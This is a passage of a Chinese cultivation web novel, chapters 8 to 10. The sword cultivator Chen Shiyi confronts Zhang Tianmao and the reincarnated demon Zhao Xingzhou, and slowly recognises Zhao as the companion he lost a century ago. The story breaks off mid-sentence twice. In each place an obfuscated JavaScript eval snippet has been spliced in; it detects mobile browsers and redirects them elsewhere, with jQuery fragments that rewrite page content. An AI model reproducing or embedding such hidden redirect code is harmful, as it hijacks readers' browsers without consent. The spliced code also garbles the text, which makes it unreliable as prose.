却是晚了一步,众目之下,陈时易已漠然抬手,背后亦隐现出一柄带鞘长剑,如悬冰,亦如雪鬼。 霎那间,自那剑中倾泻而出的巨大威压如迅雷疾泻,以山岳轰倒之势重砸在众人身上! 元婴以下再无人站得住,实力再低微些的,更是被砸得直接趴在地上,汗水如黄豆渗落,惊惧交加! 显然这句制止声并未起效。 虚微子叹息,拂尘凭空一落,抓于手中。他苍声道,“你此番这般大动干戈又是为何?这里并没有人惹到你。” 说着,护山阵法已无声启动。 眼前若此人真不由分说动起手来,莫说在场弟子性命堪忧,便是这整座龙砚峰,怕是都有可能被那柄剑一捅到底,震个稀碎。 不可不防! 听对方如此说,陈时易不知想到什么,忽然自喉咙深处滚出一个气音,笑得不甚清晰。 他看向虚微子,目光深处掠过一丝阴郁似嘲之色,道,“今日在场之人,我必要搜神。你若想拦,我连你一起打。” 看样子,是决意不可破。 千钧一发之际,有人忽然大喊道,“我说,我来说!!” 喊话之人是最早在台下开盘设局的龙砚弟子,他浑身颤抖,口不择言道,“是张天茂张峰主的门下侍,没错!他有古怪,刚才打比赛时一直用得剑指!您若要找用剑诀的可疑之人,定然是他!他比赛一结束就被张峰主带走,我瞧着、我瞧着是往紫霄的方向去了!” 言罢,南仲君动作肉眼可见一顿。 这句话信息复杂,成功令陈时易停步,皱眉向西看去,面上难得露出些许惘然之色。 紫霄,张天茂。 他与惊春剑动有何干系? 却又不知联想到什么,陈时易目光骤变,抬头再看。 眼底一丝惊寒怒意几乎溢出! 众人忽觉头顶一轻,神识连同沉重的压迫感一并消弭。 下一刻,便见陈时易抬手引诀,其背后长剑虚空垂立一瞬,骤然横扫而出! 众人不知他是否真要打,脸色骇得煞白。 剑如流光先行,人落后一步踏地,不见减速。随后地面于其脚下突然崩裂成一张巨网,人影硬是拔地而起,落于飞射的长剑之上! 势如破天,竟二话不说,直贯青云而去! 8. 第 8 章 赵行舟几乎刚一沉底就转醒了。 纯净的灵气疯狂涌入身体,受伤处传来细密的错位声,修补速度之快,令赵行舟感到心惊。 五感奇妙的力量充盈,枝芽于体内有秩序地包裹脏器,疯狂生长,随后皮肤表层隐约传来一丝胀裂感。 赵行舟不明所以,翻身睁眼,正面对上张天茂近在咫尺一张扭曲的大脸,遂呼吸一窒,险些溺水。 二人从灵泉水中往上爬时,略显狼狈。 饶是张天茂见多识广,此刻也面露诧异,“你到底是个什么妖,再生速度竟可以如此之快!” 身体有所恢复,头痛却并未减轻,赵行舟皱着眉道,“不清楚。” 又道,“有个事我要问你,你可知‘惊春’就在昆仑?” “我知道,怎么了?” “刚才我不小心用了引剑诀。”赵行舟疲声道,“惊春对我有回应。” “什么?”张天茂一惊,立时向东南方看了一眼,“难怪了……只是没想到你再生为妖,还能驭得了飞剑。不是说引剑诀至少要金丹往上么?” 赵行舟又退回去,将头沉于水面之下,勉强使自己保持清醒,没说话。 转生为妖,却可以筑基之力引剑成功,这的确很反常。 重点是,若惊春还在,他于秘境中将更有一搏之力。 可惜多半凭自己眼前的处境拿不到,又不想再麻烦张天茂,还是先算了吧。 张天茂施诀将自己全身衣物去水,赵行舟浮出水面,游至岸边,问他,“你可知是谁将惊春带回昆仑的?” “那自然是……等等!”在赵行舟上半身抬出水面的同时,张天茂表情一变,盯住他,“你、你怎么回事?!” “什么?”对方话题转换得太快,赵行舟一愣,反应有点没跟上。 “你怎么、怎么……”张天茂在岸边围着赵行舟走了几个来回,半天憋出一句话,“刚刚发生了什么,你怎么忽然变了模样?” 此种变化并非指五官上具体的改变,而是体态乃至全身的一种微妙变化。若说赵行舟来之前还是少年模样,经此泉水一泡,就如新茶煮水,竟莫名长开了些。短短半柱香的时间,看上去已然介于少年和青年之间! 赵行舟同样意外,察觉到体内生长和皮肤表层的胀裂感逐渐平息,他皱眉,调动灵气感受了一下,忽道,“确实不太对劲。” 随即目光错愕,抬头与张天茂对视,“我好像变强了一点。你感觉到了吗?” 原本的筑基中高阶实力,如今竟已快要摸到金丹的门槛了,这又是什么情况? 张天茂眯起眼睛,仔细盯着赵行舟看了几秒钟。 终道,“对不住兄弟,你现在实在是太弱了,我看不出来你变强在哪。” 这就和让一个人趴在地上判断蚂蚁的力气似的。哪怕此蚂蚁从搬运一个小沙子换成稍大一点沙子,它终究还是沙子。于实力级别高出太多的人来说,相当于没变化。 赵行舟自然明白其中意思,虽知道张天茂说的是实话,他还是笑着骂了一句,“你小子……” 话没说完,天师府邸正门方向忽然穿来一声闷雷般的破裂声。 而后几乎是同时,内阁门被一股强劲的气流冲破开,席卷起门外一阵暴雪入内! 池边二人皆愕然。 室外人未到,门栏和窗棂已经冻上一层寒冰,迅速裂成蜿蜒的冰体。 随即有人踏入,脚下遍布碎裂的霜纹。 说时迟那时快,在二人尚且没有反应过来的瞬间,张天茂忽觉侧腰一重。一层青蓝仙光从他周身乍现,竟是紫霄世传的镇峰法器被动对他开启了护身法阵! 随后张天茂人如飞杵撞钟,整个人连话都来不及说一句,便像炮弹一样砸入水里。 阵势之大,几乎掀出去半个池子的水花。 张天茂:…… 回想五十六年前,他爹将峰主之位传于他时曾说,若有朝一日惹上了实力远高于自己的仇家,记得往紫霄峰跑,那里有他祖宗留下的天级法器,关键时刻足以保他一条小命。 如今这个祖传的天极法器却仙光频频晃动,几乎让人一脚踹得破了防。 赵行舟则愣是被水花从泉池中冲了出来。 他淋着水抹了一把脸,看向沉底的张天茂,错愕不已! 什么情况?! 张天茂呛了几口水,好容易爬上岸,听头顶有人端着冷淡的嗓音开口。 “惊春是不是你找人动的手脚?” 不用看都知道来的是谁。 刚刚弄干的衣服此时湿透彻底,张天茂痛骂,“陈时易,我可去你的吧!这就是你问别人的态度?” 话音一落,长剑已悬于张天茂头顶,霎那间压迫感裹挟着煞气斩落,逼得张天茂往水里又是一沉。 来者语气不轻不重,若不是隐约有杀气溢散,倒还以为此人只是随口一谈。 “人在哪?” 张天茂被压在水中,像看神经病一样看了那人一眼,豁出去道,“行,你今天最好把我杀了,不然我……” 说到这,张天茂忽然一怒之下硬是抬起头来,朝着另一边嘶吼,“靠,你就是这么当兄弟的!枉我平时对你这么好,你就看着他这么对我?!” 被吼了一顿的赵行舟:…… 实不相瞒,以他还未及金丹的实力,在近距离接触这道极蛮横的剑意后,哪怕是余波,也压得他几近窒息了。 眼下能站起来,实属意志力坚强。 不知为何,在张天茂吼完这句话后,悬于头顶的剑却始终没有向下一寸,连同池边那个人的脚步一并凝顿住。 赵行舟踉跄着回到池边,拉起水中分外狼狈的赵天茂,一时脑子也不清楚,只得道,“你小子仇家这么强,找我来有什么用,一起赶着去投胎?” 言罢,见驭剑人不知为何没了动作,顿觉机不可失,加重声音,“出这么大事,虚微子呢,还不赶紧传音让他过来!” 张天茂闻言,没有顺赵行舟的力往上爬,而是一脸呆滞得看着他。 他心想,不是吧,这种情况下还要瞒? 随后又想,是了,这家伙消失一百多年没跟实事,大概不知道陈时易对惊春的保护欲有多病态!遂压低声道,“别瞒了,你又不是不知道我和他二百年前就不对付,再瞒下去你兄弟我家底儿都要被霍霍光了!” 见张天茂对他使眼色都快使抽筋了,赵行舟一愣。 他忽然脑子一清,想起此人进门后说的第一句话问的是,“是不是你在惊春上动的手脚。” 遂后知后觉,第一次抬头向池边人看去。 紧接着,赵行舟心底生出一丝震动。 不仅因为此人身上穿着凌绝峰特有的云纹服饰,更因为此人满袖剑气流于全身,形意非凡。饶是赵行舟上辈子天赋绝世,此时也不由得叹一声,世间竟还有如此适合练剑的身骨,当真是惊人! 再看其人,眉眼极深,俊美无俦,情绪被一层霜色遮去了,不甚明朗。然而目光极具穿透力,带着眼底一丝难以言述的晦暗神采,正与他相望。 此人既认得惊春,又出身凌绝…… 莫不是他故人? 可惜他对此人毫无印象,记忆一片空白。 赵行舟与之对视了足有好一会,方才维持着些许茫然,转头看回张天茂。 遂似想通了什么,他眉间逐渐簇起一丝无奈,犹豫片刻,还是缓声开了口。 “他是谁?” -- 自陈时易入门,只一眼便看透了泉边的两个人。 张天茂旁边那个男人极年轻,半截身体沉在水中,神魂有损。 是一只妖。 不仅脸和身体与那人全无相似之处,连下意识看向他的眼神,都没有情绪。 全然是陌生的。 那道目光只传递出一个信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437498|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,他不认识他。 陈时易忽觉眼底如针扎般刺痛了一瞬。 遂轻吸了一口气,心中淡漠地想。 不是他。 百年的时间太长,从无人肯提起他,好似这人凭空便从这世界上消失了。他寻人无数,即使再像,亦无人是他。 何况眼前人是最低劣的妖物,与他,没有半分相像之处。 既然不认得他…… 便不可能是他。 陈时易再度睁眼,浅扫了一眼陌生男人,便将视线落在张天茂身上。 “是不是你找人在惊春上做了手脚。” 这话甚至连一句反问都不是。 眼下只有这个答案。 亦只能是这个答案。 虽心中确定此事与那人定毫无关系,可胸腔内仍莫名生出一股郁气,纠缠着他的呼吸。 惊春,陈时易想,你怎么敢的呢? 却不愿再想,张天茂突然打惊春的主意做什么。他作为昆仑一峰之主,又非剑修,要一把自己都难以驾驭的飞剑,做什么呢? 他没想,杀意几乎从剑中渗出滴落时,被张天茂一句话截于空中。 “你就看着他这么对我?” 字句如锥刺般涌入耳内,瞬间,又令他停顿在原地。 记忆被撕开一个口子,纵不刻意去想,亦历历在目。 诚然,他和张天茂性情相去甚远,自很久以前就不对付。 初时张天茂修行压他一头,总出言挑衅,后来打成平手,话也少了,再后来,完全不是对手。 每当张天茂不敌他,又觉得认输面子上过不去,就要去旁边观战席搬救兵。 年复一年,次次开口都有那句话。 “你就看着他这么对我?” 起先不觉得有什么,再后来听,只觉得刺耳。 是凭什么觉得喊来的人能管得住他。 又凭什么,表现得如此亲近,轻易便说得出这种话? 有人随风落在场内,一身松垮的形意,却偏偏神气从不见散。来人单手压制住他的肩膀,笑意轻漫,“好了,别打了,再打有人该哭了。” 每当这时,陈时易脸上会带着厌烦挥开肩上的手,冷声道,“别碰我。” 张天茂则在地上吼得活像杀鸡似的,“赵行舟,你少污蔑人,老子会哭?开什么青天大玩笑!我爹都打不哭我!” 鹤钧飞剑扫射而出,逼至张天茂的咽喉。 他眉间厌烦更重,道,“闭上你的嘴。” 记忆如光影破碎。 目光落在虚空一点,不挪动,也不波动。 闭上你的嘴。 陈时易忽而厌烦地想。 张天茂,你为何要表现的好似那人就在场一样。 又何以轻易便说得出口这种话。 他的剑早已不再是鹤钧。 陈时易神色晦暗难辨。 早在一百年前,有人负剑望过他,便不再是鹤钧。 此生最后一次微笑,那人神态一如破旧下沉的春风,放浪不羁。 说,“我不信命。天道要我做什么,我偏要逆行。” 说,“陈时易,剩下的路,你替我走完。” 于满目的鲜血中,他只来得及从喉咙里逼出一个字,便被浑似骄阳般的纯烈剑意自上而下的贯没。 疼痛深入骨髓,如沸水滚珠,令他在迷失中,几乎难睁双眼。 而后,又有人似相同的口吻来问。 “他是谁?” 这一刻,即使目光未动,世界却在晃动。 自胸腔内生长出一股深重的郁气,随惊春剑动,随某人脸上一瞬间捕捉到的神意,随着他的呼吸以及过往无数破碎又相似的影子,几乎破出皮肉。 世间只知昆仑南仲君阴晴不定,锱铢必较,危险至极。 却无人知道。 从此之后,他不敢再面对春风。 9. 第 9 章 陈时易侧脸偏动一分,下颚线扫出一道轮廓清晰的阴影。 自那三个字出口后,他的视线许久未动,像原本盯着的那一处粘着胶,很久之后才迟滞的落到那人身上。 他第一次看清眼前人。 对方眼睛像失去养分一样半睁着。与他相望时疲惫不堪,藏有一丝陌生的顾虑。 没有相似之处。 陈时易觉得荒诞。 样貌不同,种族不同,修为相去甚远。 如此看着他的眼神也不对。 完全不对。 赵行舟原本是指望张天茂可以给点有用的提示。可张天茂被问过话后就呆若木鸡,完全派不上用场。 而后还未等到回答,赵行舟突然感知到一股极危险的气息正在逼近。 这种超感直觉曾助他度过无数次生死危机,是故他想也没想便往后退去。 不料想,一只手与他错位擦过。 那只手骨节分明,手指颇长,同样泛着冷意,生得很具有观赏性。放在平时,他免不了赞一句,真是一只适合握剑的好手。 前提是,这只手不是来对付他的。 对方没有用修为,否则不可能被他轻易躲过。所以这一次伸手又像是一次试探。 不明所以的试探。 只见对方举着一只手顿在空中,片刻后竟轻笑出声,“……躲我?” 下一刻,一道青蓝光向赵行舟疾射而来,紧紧箍住右腕。 右手受制,赵行舟眉头猛地皱紧。 该缚妖索级别之高平生罕见,效果和琦渊、玄远那几个小辈用的相去甚远。眼下不仅将他一身修为封了干净,右手更如有千斤重,抬都抬不起来! 而他一个实力金丹都不到的树妖,哪里用得到天级缚妖索?怕是封一只渡劫前的大妖都够了! 赵行舟不习惯受制于人,勉强压住心头的烦躁,目送对方走近,道。 “能不能换一只手。” 由于不知对方意欲何为,他还算冷静,说出了当初对琦渊小辈说过的同样的话。 陈时易闻言,平静的目光却像是被凿开一道缝隙,里面暗潮汹涌。他反问,“为什么?” 为什么? 赵行舟看向陈时易背后虚空某处,露出一丝戒备,没答话。 于室内静谧压抑的氛围不同,屋外狂风大作,阴云遍布,不多时竟纷飞起雪来。 昆仑分明有隔绝风雪的结界,紫霄峰今日会下雪,令一众弟子吃惊不已。 莫不是结界破了? 未等到回答,陈时易再次开口,语气轻缓,“我有一位故人,他生前有个习惯,因要用剑,右手从不佩戴任何东西。” 相隔不过数十尺的距离,陈时易垂眼,呼吸间便欺身上前。 遂一把攥住赵行舟的右手腕,极轻易拉至眼前。再看向他的眼睛,似自语。 “如果有人这样对他的右手,想必他会生气。” 果然,赵行舟被如此一抓,脸色瞬间难看起来。眼下二人修为天差地别,他便是想对抗,也如蚍蜉撼树,难动分毫。 此人确实是他的旧识。 转生后虽有无数改变,但右手的这个习惯根深蒂固,几乎算得上他的逆鳞之一,如何也改不了! 只是此人行事如此极端强硬,欲这样逼他低头,又绝非他本性能从。他向来都是这么个死脾气。吃软可以,吃硬,不行。 任你是谁! 于是赵行舟开始冷笑,笑意不及眼底,道,“你若想讲故事,我建议你换个人来讲。不必在我这自讨没趣。” 云层中倏尔爆出一声惊雷,膨胀得几乎将天空撑裂。 陈时易眉间随之镀上一层沉郁,似暴雪堆积的厚重云层,霎那间将风雪带入了殿内。 赵行舟面上看不出他深浅,只觉得这人背后有东西在涌动,如蚕破茧,气息相当危险。 未料对方忽然放开了他,一只手正抓在他的眼前! 手指猛地扣在赵行舟太阳穴两侧,一把将他压制在墙上。遂发力,逐步收紧! 却不敢收太紧,克制着力道的手没多久便开始颤抖,随即连一向平稳的声音亦出现震颤,“不要用这种眼光看着我。” 赵行舟的右手抬不起来,用左手攥住此人钳着他的手腕欲掰开,却丝毫无法撼动。听对方魔怔似的自语,“你又不是他,为什么要生气?” “你不认得我,自不可能是他。” “可你到底是谁?” 赵行舟额前被人箍得死紧,一忍再忍,终是冷笑出声。 他右手虽不能动,掐诀勉强可以。 眼下脑海中只有一个冲动,就是把此人的手,从他眼前拿开! 右手翻而一立,传来天边一丝微弱回应,这次回应比第一次快许多。 百年未得一见,惊春仍迅速感受到了他此刻糟糕的情绪,当下便似归乡心切般,杀气腾腾破雪而出! 赵行舟这番动作没想避过眼前人耳目,只想借此机会尽快摆脱目前被动的处境。却不料对方察觉到他的意图后,竟如遭重创般一连退后三步,手也顺势松开。 恢复视觉,赵行舟情绪不善向前看去,随即一愣。 对方脸上出现了他从未见过的怔忪之色。 起先只讷然看着他,随即眼尾充上血。陈时易从不带情绪的眼睛忽然迸发出狠戾,似极不可置信,又似歇斯底里,连同五官一并扭曲起来,“你竟要用惊春对我?!” 瞬间,以紫霄为中心,数座山峰狂风大作,不知从何处落下剑意几乎失控,霎那间把昆仑包围的云层绞碎,暴雪肆虐! 昆仑护山大阵因不明缘故开始闪烁! 一时间,昆仑上下人人都感知到了这不同寻常的极端天气,顿生警惕,不知是否有强敌来袭。 虚微子踏空而上,看着天上频频闪烁的大阵,拂尘扫过臂弯思索片刻,终究是没有出手闭阵。 他想着南仲君今日脸上不似常态的神情,总觉得不是个好兆头。 而大阵这一动荡,也终于把紫霄峰峰主的脑子拉了回来。 眼看陈时易已至失控的边缘,张天茂大急,“赵行舟,你别惹他,这家伙如今不比当年,发起疯来什么都做得出来啊! 不用张天茂说,赵行舟也知道此人状态极不对劲。 陈时易浑似听不到周围有人说话,只双目赤红看着赵行舟,一步一步走向他,声音震颤,形似恶鬼,口中重复道,“你不是他。” “你不是他!” 走近后,双手握住赵行舟的肩膀两侧,陈时易瞳孔抖动,面露痛苦之色,逼问道,“告诉我,你不是他,对不对?” 看清此人身后之物后,赵行舟明显一愣。 原先的不耐、怒意,此刻被心中一丝震动压得再发泄不出来。纵使右手仍抬不起来,赵行舟却难得没再试图挣脱开对方的动作。他一时间有些说不上来的感受。遂道,“我不是他。” 这句话甚至连块遮羞布都算不上。 张天茂惊了,看着眼前二人,这都哪跟哪? 其实对于眼前人的身份,早在赵行舟问出“他是谁?”时,答案就呼之欲出。 也或许在更早的时候,从陈时易进门后,两人第一次对视起,他就该知道对方是谁。 此人背后那柄隐现的长剑,与他神魂中流淌的剑意有说不上来的微妙联系。 他是他的祭剑人。 祭剑人,那至少是他自愿交付生命之人了,怎会是现在这般模样? 赵行舟心中泛起一丝意义不明的烦躁。 于是赵行舟便想,若否认可以让这人变得正常,那么他就可以不是他。 可这句否认却未令对方放松,反而面上更添一层痛苦之色。 陈时易抓着他肩膀的双手极力克制,仍是发颤。他眼中闪烁起疯狂又濒临毁灭的光,然后喉咙中溢出一丝低沉的笑声,“对,你不是他,他不会把我忘了。我等了他这么多年,他怎么能把我忘了?” 说罢,侧过脸去看向发呆的张天茂,“可你怎么会还记得他?” 陈时易忽然挥手握住长剑,猛地向前一拉,金色的剑光乍现满屋! 剑竟出鞘! 这一刻,饶是张天茂也惊得后退了几步。世人皆知鹤钧自祭剑后,不仅变成天下第一神兵,还成就了一把杀人的剑。 不出则已,一出鞘必要见血! 他要干嘛?! 陈时易持剑,明明被凛然的剑气缠绕着,神情却阴沉得骇人,“可你好像还记得张天茂,为什么,凭什么?” “若我杀了他呢?” 张天茂:??? 大哥,你听听自己前后的话不矛盾吗?! 剑尖垂落,悬在离地擦边的距离。陈时易喉结滚动,眼底暴戾再遮盖不住,似自语,“若我把所有你认识的人都杀了呢,你会不会想起我来?” 张天茂:……艹。 他已经完全看明白了,陈时易分明一眼就认出了眼前人,却不知在发什么疯,全身上下只有嘴是硬的。 被赵行舟怼了几句后,倒好,嘴是不硬了。 现在竟要把他杀了尽兴。 从前陈时易比试没有分寸,赵行舟总能及时出手制止,不仅因为他是他师兄,还因为那会赵行舟修为压他一头。 如今呢? 饶是他修为不低,傍了一身的法器在,方才挨住渡劫期一脚也快吐血了。若换成现在的赵行舟挨一下,怕是不用人去收尸,现场灰都扬了! 张天茂有点急,很急,又想先跑,又怕留赵行舟自己在这,招架不住对面这个煞神! 却不想赵行舟沉默地听完对方这段惊世骇俗的自白后,思考片刻,竟向他走去。 赵行舟右手抬不起来,只能用左手压住陈时易握着剑的手,道,“等等。” 张天茂刚想去拦。不料,明明赵行舟没怎么用力,竟轻易制住了陈时易再往前走的动作。 赵行舟随即握上此人手中剑柄,毫无征兆,张口再道,“我想看一眼你的剑。” 话毕,补了俩字,“行么?” “别……!”张天茂这下真急了。陈时易从不让人动他的剑,那些打鹤钧注意的人,无一不在刚打照面就被陈时易一剑斩成血水! 却见陈时易似大梦初醒,看着对方,满眼仓皇霎那间无处隐匿。遂手一松,竟一声不吭把剑交了出去。 张天茂:…… 赵行舟把剑放在手里掂了掂,有两股冰冷又灼热的气流于此剑内,虽不相融,却似太极双鱼,又像暴雪中的骄阳,分庭抗礼,相辅相成。 “是把好剑。”赵行舟抬眼时笑了一下,“不愧是我祭出来的剑,它叫什么名字?” 张天茂:…… 陈时易眼中布满血丝,茫然注视着他,竟一时间忘了答话。张天茂在旁边小声提醒,“鹤钧,是鹤钧。” “……应不识。”这时陈时易开了口,声音沙哑至极,目不转睛看着他的脸道,“剑名,应不识。” 赵行舟一愣,“好名字。”要是没这么衬景就更好了。 张天茂:什么?!天下第一剑原来剑名应不识?连同昆仑在内的所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437499|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都以为它仍叫鹤钧!这么多年,天下竟无人知晓其真名! 赵行舟方才迅速理了一遍思路,决定走上前时,算是在赌。 剑修不会轻易把剑给到另一人,如同野兽献上自己的獠牙。但他是对方的祭剑人,生前一定相交至深,非常规情况而论。且他与此人的关系,经此一事,也绝非寻常关系可涵盖。 既然对方如此轻易便把剑给了他,赵行舟觉得这就算赌对了,索性承认自己身份。 只是不知此人百年间经历了什么事,看上去不太正常。 对方情况特殊,赵行舟自不会再和对方逞意气之争,便道,“想必你也看得出来,我身上发生了好多解释不清的事情,忘记你算是其中一件。不过我了解自己,即然当年会给你祭剑,说明你于我而言必是意义非凡。所以忘记你绝非我本意。” 张天茂:什么?忘了?可赵行舟还记得他啊? 陈时易脸上没有震惊,也不似平静。他只是用眼睛紧跟着他的表情,眉间怔忪,不知在想什么。 “我会想起来的。”赵行舟赏完剑,随手把剑插回到鞘中去,道,“给我一点信心和时间吧,陈时易。” 张天茂:什么?!天下第一剑拔了出来竟还插得回去?!就这么轻易让人插回去了,啊?! 陈时易突然动了。他上前一步,眼底显出一丝仓皇,沙哑道,“再叫一次。” 赵行舟一愣,“什么?” 一松手剑便掉在地上。陈时易颤着手抓住赵行舟的手臂,握力很轻。神色似有不撑,又似恳求。大抵是被绝境逼至绝路了,只能低低地颤声道,“我的名字,再叫一次我的名字。” “额……陈时易?”赵行舟叫完,见对面人一动不动,忽然摸不准自己叫没叫错,于是向张天茂投去一个确认的眼神。 张天茂:…… 接收到了。 眼看着紧绷的气氛已经过去,化干戈为玉帛。陈时易理智回笼了,认亲也已经圆满落幕。张天茂以为赵行舟那个眼角抽搐的意思是想先撤,不巧,正和他此刻想法一拍即合!于是走过来拉了赵行舟一把,说,“既然都认识了就走吧,我们先……” 话没说完,一道狂烈至极尽蛮横的剑气轰然倾泻! 顿时,护山大阵灵气爆现,却顷刻被剑气斩碎成片,好比以卵击石! 随后,以紫霄天师府为起点,直至天边数道山峰和薄云,愣是被笔直切割出一道壮阔的天堑! 虚微子一直关注着紫霄峰的动作,同步拂尘一抖,将紫霄所有离得近的弟子尽数抛向两侧。 众弟子好多被摔了狗啃泥,直至落地,紫霄峰仍震颤不止。 所有人都对眼前一遭惊恐万分,但不知发生了何事! 张天茂则低头,看着他脚前一寸处起深不见底的沟壑,陷入沉默。 家没了。他千年水沉木的门也早让人一脚踹稀碎了。紫霄被人劈出一个深坑来,而他但凡再往前一步。就得和这块地板一样成两半了。 这一切的一切,都只是因为…… 陈时易单手持剑,没人看清楚他何时出得剑,只知道他此刻的眼神,阴沉得很不正常。 他目光偏执至极,几乎咬牙切齿道,“张天茂,你当真以为我不会杀你?” 张天茂:…… 他把手松开,看了赵行舟一眼,平静道,“兄弟,有缘再见了。” 赵行舟:? 张天茂跑了,跑之前语气突变,悲痛欲绝堪比奔丧,“这事没完,凌绝峰要赔我钱!靠!老子的家,老子的山头啊!!!” 赵行舟:…… 有一说一,这一天内受的刺激比他转生后一百年加起来都精彩。 遂后知后觉,看向陈时易,也不知该摆什么表情对着他,“……你突然拔剑做什么?” 陈时易盯着赵行舟被人抓过的地方,片刻后伸手过去轻轻握了一下,神情不甚明朗,“你不记得我,偏偏记得他。他还想从我眼前把带你走,张天茂要带你去哪?” 随即目光又落在赵行舟脸上,眉间戾气尽显,不似作假,“如果我刚刚杀了他,你会怪我吗?” …… 赵行舟忽然意识到了问题所在。 眼下只有他们两个人,他终于第一次将视线完全落于陈时易身后,问他,“刚刚我就想问你。那个到底是什么?” 赵行舟手指向一个方向。这也是他方才肯率先冷静下来,向对方妥协的原因。 陈时易半睁开眼,顺着赵行舟手指方向侧了下脸,却并未完全回头。他忽然意识到赵行舟指的是什么,面上掠过一丝痛苦之色,随即自嘲般轻笑起来,“为什么偏偏你看得见。” 说着,陈时易颤抖着手,又要来遮他的眼睛,“不要看了吧,很丑。” 而赵行舟抬手制止住他的动作,一时没有再说话。 于是陈时易便没再动。只是低头喘了一口气,浑身上下发起抖来,不知在克制什么。 数尺之外…… 在旁人眼里空无一物的地方,又分明站着一个人。 那人身体伤痕累累,披头散发,一身血污,要坠不坠地站着。如厉鬼缠身,修罗横行。 血水滴在地上,立时化作缠身的黑气四散开来。 他长着一张和陈时易一摸一样的脸,神态却与他往日里天差地别。眼底浮动着不加抑制的暴戾煞气,眼尾渗着血色,偏执异常,恹恹地与赵行舟对视。 像是恨不得掐死他,挫骨扬灰,眼皮也不眨一下地看着他。 又恨不得向他求饶似的,痛苦万分,几近病态地看着他。 10. 第 10 章 月影婆娑,简易宅舍有风穿堂而过。 栅栏外,竹林成片密密的耸立。色青,竿茎粗壮,又生长得很高,竹叶在冷风中飒飒作响。 昆仑常年覆雪,寻常植物难以存活,所以该类竹其实是一种灵植,生性耐寒,名“云崖”。其竿可做梁柱、棚架,搭置建筑,千年不腐;竹篾韧性优良,可编制各种粗细的小玩意儿。笋味亦甘美,鲜食烹饪皆宜,有安神养气之效。 这种竹在修真界并不罕见,百年前颇受修士追捧。赵行舟眼下身处的宅舍,就是由这种竹子搭的基底。 室内家具很少,除一张床外,还有一桌二椅,简约得不像有人生活过。 墙边置有一个竹质书架,陈列书不少,但是大多纸页泛黄,陈旧不堪。 赵行舟走至书架旁,手轻抿过竹条。屋内清冷,毫无人生活的痕迹,偏又一丝灰都擦不下来,甚是反常。 书架上陈列的书无一不熟悉,他抽取出其中一本,随手翻了两下。 纸张不过凡物,放置百余年,又有被人翻阅不知多少遍的痕迹,纸页翻卷,薄薄一层,相当脆弱。眼下赵行舟不过用手一撇,便有裂纹出现。 空气震荡一瞬,竹林深处传来微冷的气息。 一丝霜气顺着纸窗缝隙游进屋内,轻轻缠住赵行舟翻书的手,遂漫过破碎的纹路,结出一层白霜。 竹林深处,陈时易独自静坐,纸张似乎同样在他的眼睛中开裂,流泻出一丝艰难的不忍。 无人说话。 空中飘起小雪。 赵行舟手中的书,是一本高阶符咒秘典大集。旁边批注字迹潦草,油灯下勉强看得清楚。 酆都束鬼咒旁注有“无甚大用”的字样。 灵宝道门秘诀旁大言不惭写着“狗屁不通,误人子弟”。 双修秘术旁则是“讨巧之法,不务正业”。 翻了几页,唯有鸿蒙日炎真决和心元破法剑诀旁,批注有“尚可”和“还行”两道字样。 赵行舟不禁嘴角抽了一下。 鸿蒙日炎真决乃剑修高阶心法,不才百年前赵行舟用得天下闻名,单论此诀精深,天下无人能比。而心元破法剑诀更是他自创剑诀之一,于同级别法诀中当属出类拔萃。 这是他唯二的成名技。 但这种批注别人夸也就算了,由自己写出来,未免有点不要脸了。 且没想到这种满纸狂言的书,竟会被人留存至今,实在是……不知道该说点什么。 时间追溯到下午,缚妖锁解开后,赵行舟与眼前人没有太多可说的话,便想回门下侍寝室。 只是还没走就被人握住手臂。陈时易大概看出了赵行舟离场的意图,一言不发地盯着他看。 看那神态,但凡赵行舟再走一步,这缚妖锁就不用解了。 对方很久没有松手的意思,赵行舟便率先说明了自己接下来的去处,不料对方手的握力不松反紧,“你不随我回凌绝?” “不合适。”赵行舟又把对付张天茂的那套说辞拿出来,“别人不知内情,只会把我们的关系想得很低俗。你若有事,随时传音与我便是。”虽然他并没有此人的传音牌。 不想陈时易脸色阴沉不定,道,“我不合适,难道张天茂就合适?” 张天茂自然也不合适,但至少赵行舟跟他相熟。 反观陈时易,若就此回凌绝,赵行舟没有记忆,委实不知该怎么面对他。 讲真话不合时宜,假话又说不出口。赵行舟只得道,“眼下昆仑皆知我是张天茂的门下侍。既如此,你就不要再参与进来了吧,免得多生枝节。” “张天茂的门……下侍。”这三个字重复得有些艰难,陈时易目中掠过一丝暗沉的冷光,道,“张天茂虽为一峰之主,但实力之弱,不堪一击。我也是凌绝峰峰主,有什么他能做我不能做的,你不如告诉我。” 张天茂目前化神巅峰,只比赵行舟生前修为低了一点,已是不堪一击。那他现在成什么了,纸糊的吗? 见赵行舟一时语塞住,陈时易恨声又道,“你就这样看重他?” 赵行舟沉默了。 思忖很久之后,他开口道,“我可以跟你回凌绝。你既无所谓,我自然更无所谓。但我有个前提。” 赵行舟抓住额前揉了一把,“你别再三句不离一个张天茂了,行吗?我只有这一个要求。我真的头疼了。” 陈时易:…… 如此,二人一路无言,便终于回了凌绝峰。 - - 一百一十五年未涉足此地,本以为会有什么变化,登山后却发现与当年如出一辙。 就连曾经住的地方也一如原样,包括他最后留下的书本。 只有居所前这片云崖竹林范围扩张了数倍不止。无人打理,还能这样顽强生长,令赵行舟深感意外。 